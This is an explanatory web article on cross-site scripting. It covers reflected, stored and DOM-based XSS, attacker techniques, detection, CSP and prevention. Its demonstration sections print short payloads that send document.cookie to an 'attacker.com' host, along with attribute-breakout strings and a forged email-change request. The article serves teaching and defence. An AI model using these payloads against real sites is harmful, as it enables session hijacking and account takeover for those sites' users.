Loading...

Cross-site Scripting

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a vulnerability where attackers inject malicious scripts into web pages viewed by other users, tricking browsers into executing that code as if it came from a trusted site.​

How XSS works

Attackers exploit places where user input (comments, search terms, URLs) flows into HTML, JavaScript, attributes, or CSS without proper escaping, causing the victim's browser to run injected code like <script>alert('XSS')</script>. The browser treats the malicious payload as legitimate site content, bypassing the same-origin policy to steal cookies, session tokens, keystrokes, or perform actions on behalf of the victim.

Types of XSS

Reflected XSS: Malicious script in a URL or form reflects back immediately in the response (non-persistent, single request).​

Stored XSS: Payload saved (database, comments) and served to all users who view that content (persistent, affects many).​

DOM-based XSS: Client-side script manipulates the DOM using unsafe user input, executing without server roundtrip.​ XSS remains prevalent because output encoding varies by context (HTML, JS, attributes, URLs), and incomplete sanitization lets payloads slip through.

XSS exploitation demonstration

XSS exploitation demonstrates how injected scripts execute in victims' browsers to steal data or perform actions.​

Reflected XSS example

A search form reflecting ?q=<script>alert('XSS')</script> directly into HTML executes immediately when a victim clicks a crafted link.

More advanced payloads steal cookies:​

https://vulnerable.com/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Stored XSS example

Malicious comment <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> saved to a database serves to all page viewers, hijacking sessions silently.​

DOM-based XSS example

Client-side code like document.write(location.hash) with URL vulnerable.com/#<script>alert(1)</script> lets attackers inject via hash without server reflection. Real attacks chain these to exfiltrate data, keylog, or perform CSRF on behalf of victims.

How attackers leverage XSS

Attackers leverage XSS to bypass the same-origin policy and execute arbitrary JavaScript in victims' browsers, enabling session hijacking, data theft, and account takeover.​

Session hijacking and cookie theft

Most common: steal session cookies with payloads like <script>document.location='https://attacker.com/?c='+document.cookie</script> sent to attacker's server, then replay them to impersonate victims. Works against sites without HttpOnly flags but fails if sessions are IP-bound or expired.​

Data exfiltration and keylogging

Capture passwords from autofill (<input type=password> then read value), keystrokes (onkeypress listeners), or page content (innerHTML) and beacon to attacker via fetch() or <img src>. Advanced attacks create overlays or iframes to phish credentials while monitoring form submissions.​

CSRF bypass and privilege escalation

Perform actions as the victim: change emails (fetch('/change-email', {method:'POST', body:'new=attacker@evil.com'})), transfer funds, or add admin accounts. Chain XSS with CSRF token theft to hit protected endpoints, or use javascript:alert(document.domain) variants for DOM manipulation.

Risks Posed by XSS Flaws

XSS flaws pose severe risks by letting attackers execute code in victims' browsers with full site privileges, leading to session theft, data breaches, and account compromise.​

Session hijacking and impersonation

Attackers steal cookies or tokens via document.cookie exfiltration, then impersonate users to perform actions like changing emails, transferring funds, or accessing private data. Without HttpOnly flags, this bypasses server-side session checks, enabling persistent takeover until logout or expiry.​

Data theft and privacy violations

XSS reads sensitive page content (innerHTML), form data (passwords, PII), or localStorage, sending it to attacker servers via beacons or fetch(). Persistent XSS in comments/forums spreads automatically, harvesting credentials from all viewers and enabling mass data collection or phishing overlays.​

Defacement, malware, and supply chain attacks

Scripts rewrite pages (virtual defacement), inject trojans, or redirect to malware; compromised ad networks amplify this across sites. Business impacts include reputation damage, regulatory fines (GDPR), and chained attacks like CSRF or RCE when XSS hits admin panels.

XSS Detection and Verification Techniques

XSS detection involves injecting unique test strings across input vectors and verifying if they execute as JavaScript in the victim's context.​

Manual testing workflow

Submit distinctive payloads like <script>alert(1)</script>, ><img src=x onerror=alert(1)>, or javascript:alert(1) into URL params, forms, headers (User-Agent, Referer), and POST bodies, then check if they reflect/executed in responses. Examine page source, browser console, and network tab for unencoded reflections in HTML, attributes, JS contexts, or DOM sinks (innerHTML, eval()).​

Automated scanning and tools

Use scanners like XSStrike, Dalfox, or Burp Scanner on all parameters/headers to fuzz payloads and detect reflections automatically. For blind/stored XSS, deploy OAST callbacks (Burp Collaborator, xsshunter) in payloads to catch delayed executions in logs, admin panels, or emails.​

Verification techniques

Confirm true positives by observing execution (alert, beacon to your server) rather than mere reflection, test context-specific breaks (", <, \`), and chain with cookie theft (document.cookie) to prove impact. DOM XSS needs browser devtools to trace location.hash, document.referrer sinks.

CSP: Web Application Security Policy

Content Security Policy (CSP) is an HTTP response header that lets site owners declare which resources (scripts, styles, images, etc.) browsers can load and execute, primarily mitigating XSS by blocking inline or untrusted sources.​

How CSP works

CSP directives like script-src 'self' https://trusted.com restrict JavaScript to same-origin or whitelisted domains, blocking injected <script> tags or eval(). Other directives control style-src (CSS), img-src (images), connect-src (AJAX/WebSocket), and frame-ancestors (anti-clickjacking), with default-src as fallback. Browsers enforce this allowlist model, reporting violations via report-uri or report-to.​

CSP levels and bypasses

Start with Content-Security-Policy-Report-Only for monitoring, then strict mode ('self'; script-src 'nonce-random' or 'strict-dynamic' for modern apps). Weak policies (allowing 'unsafe-inline') fail against XSS; bypasses include JSONP endpoints or loose eval() allowances. Combine with output encoding for layered defense.

Markup Breakout Attacks

Markup breakout attacks exploit incomplete or unclosed HTML tags/attributes where user input can "break out" to inject executable code like event handlers or scripts when full XSS is blocked.​

Dangling markup injection

When input appears inside an unclosed attribute (for example <input value="USER_INPUT), attackers append "><script>alert(1)</script> to close the tag and inject new markup. Browsers continue parsing the injected content as HTML, executing scripts despite filters or CSP if the breakout reaches an executable context.​

Context breakout payloads

Common patterns include breaking quoted attributes (" onmouseover=alert(1)//), unquoted attributes (' onfocus=alert(1) autofocus//), or script contexts (';alert(1);//), chaining to steal CSRF tokens or exfiltrate data via <img src="https://attacker.com/?data=...">. Attackers test for breakout by injecting unique strings and observing if they appear unencoded outside expected contexts.

XSS Prevention Techniques

XSS prevention requires context-aware output encoding, input validation, CSP headers, and secure coding practices to block script execution across all contexts.​

Output encoding by context

Encode user input differently based on where it appears: HTML entity encode (&lt;script&gt;) for text content, URL encode for attributes/links, JS escape (\x3cscript\x3e) for scripts, CSS escape for styles. Use framework helpers (React dangerouslySetInnerHTML with sanitization, Angular bindings) or libraries like DOMPurify instead of raw innerHTML.​

Input validation and sanitization

Whitelist validate inputs (alphanumeric only for names, reject <>"' patterns), sanitize HTML with libraries (sanitize-html, bleach) before storage, and never trust client-side validation alone. HttpOnly/Secure/SameSite cookies block client-side cookie access.​

Content Security Policy and headers

Deploy strict CSP (script-src 'self' 'nonce-randomvalue') to ban inline scripts/eval, use X-Content-Type-Options: nosniff and X-Frame-Options: DENY. Layer with WAF rules and automated scanners in CI/CD.